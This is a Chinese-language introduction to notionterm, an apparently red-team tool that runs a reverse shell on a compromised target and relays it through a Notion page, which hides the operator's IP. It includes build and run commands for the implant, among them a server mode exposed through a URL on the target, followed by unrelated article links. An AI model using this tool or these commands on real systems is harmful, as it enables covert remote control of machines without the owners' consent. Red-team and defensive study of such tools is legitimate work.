如何使用notionterm在Notion页面中嵌入反向Shell
关于notionterm
notionterm是一款功能强大的反向Shell嵌入工具,在该工具的帮助下,广大研究人员可以轻松向一个Notion页面中嵌入反向Shell。
工具特性
1、可以在反向Shell中隐藏我们的IP地址(研究人员和目标计算机之间没有进行直接交互,Notion将作为代理来托管反向Shell); 2、支持在报告中插入演示和PoC; 3、高可用性和可共享的反向Shell(桌面、浏览器、手机); 4、支持加密Shell和带有身份验证功能的远程Shell;
工具要求
Notion软件和API密钥; 允许目标设备通过HTTP通信连接与Notion域名交互; 在目标设备上能够实现远程代码执行;
工具安装
由于notionterm是要在目标设备上运行的,因此我们也必须要在目标设备上安装和构建notionterm。
因此,首先我们需要根据目标系统来设置env变量:
GOOS=[windows/linux/darwin]
简单构建
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go
此时我们需要设置API密钥和Notion页面URL,这里可以通过NOTION_TOKEN和NOTION_PAGE_URL这两个env变量来设置,或者通过--token和--page-url这两个参数来设置。
完整构建
直接将Notion API令牌和Notion页面URL地址嵌入到代码中。注意,这种场景下任何能够访问源代码的人都能够查看到令牌。出于安全因素考虑,大家请不要随意分享代码,并且使用后记得删除。
设置对应的env变量:
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]
接下来,运行下列代码完成项目构建:
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go
工具运行
我们有三种方法来运行notionterm。
普通模式
打开命令行终端,然后运行下列命令:
notionterm [flags]
服务器模式
将notionterm 嵌入到任何页面:
notionterm --server [flags]
下列命令可以将包含了页面ID的URL嵌入进去,并开启一个Shell会话:
https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]
轻量级模式
该模式下,工具只会从目标设备向Notion页面发送HTTP流量:
notionterm light [flags]
工具使用演示
演示视频:https://image.3001.net/images/20220629/1656434339_62bb2ea33a7bffaa1d39c.gif
https://image.3001.net/images/20220629/1656434357_62bb2eb59b21dcc2838a3.gif
许可证协议
本项目的开发与发布遵循Unlicense授权协议。
项目地址
https://github.com/ariary/notionterm
参考资料
https://www.notion.so/
https://github.com/ariary/tacos
https://github.com/mttaggart/OffensiveNotion
https://github.com/ariary/Notionion
精彩推荐
相关文章
- shell IF语句的使用[通俗易懂]
- shell输出数组元素_shell中使用数组
- 【说站】使用systemctl配置dnspod-shell实现ddns
- Ubuntu 使用 vsftpd 基于系统用户配置相互隔离的 ftp (ftps) 服务并禁止账户 ssh shell 登陆功能
- meterpreter 使用 shell乱码问题解决方法
- 【Rust日报】2023-01-31 使用 Rust 移植 Fish Shell
- Oracle拿走Shell,带来新的希望(oracle拿shell)
- 使用Linux export命令提升Shell环境能力(linuxexport命令)
- 的shell的作用Shell变量 0 用于Linux 的功能(linux中0)
- 脚本Linux下如何创建Shell脚本(linux创建shell)
- 数据库使用Shell脚本实现MySQL数据库操作(shell调用mysql)
- 使用Shell实现MySQL监控:快速了解数据库状态!(shell监控mysql)
- MSSQL实用技巧:学习如何拿到Shell(mssql拿shell)
- Linux教程:如何开启Shell命令行界面(linux开启shell)
- 命令提升效率:学习Linux的常用Shell命令(linux常用shell)
- Linux下轻松使用Shell:简单、便捷、强大(linux常用shell)
- linux之美——Shell带来的新体验(linux的 shell)
- Linux下常见Shell Command使用技巧(linux常用shell)
- 如何在MySQL中使用Shell操作数据(mysql中shell)
- Shell 命令行操作 Redis简单高效(shell 操作redis)
- Js使用WScript.Shell对象执行.bat文件和cmd命令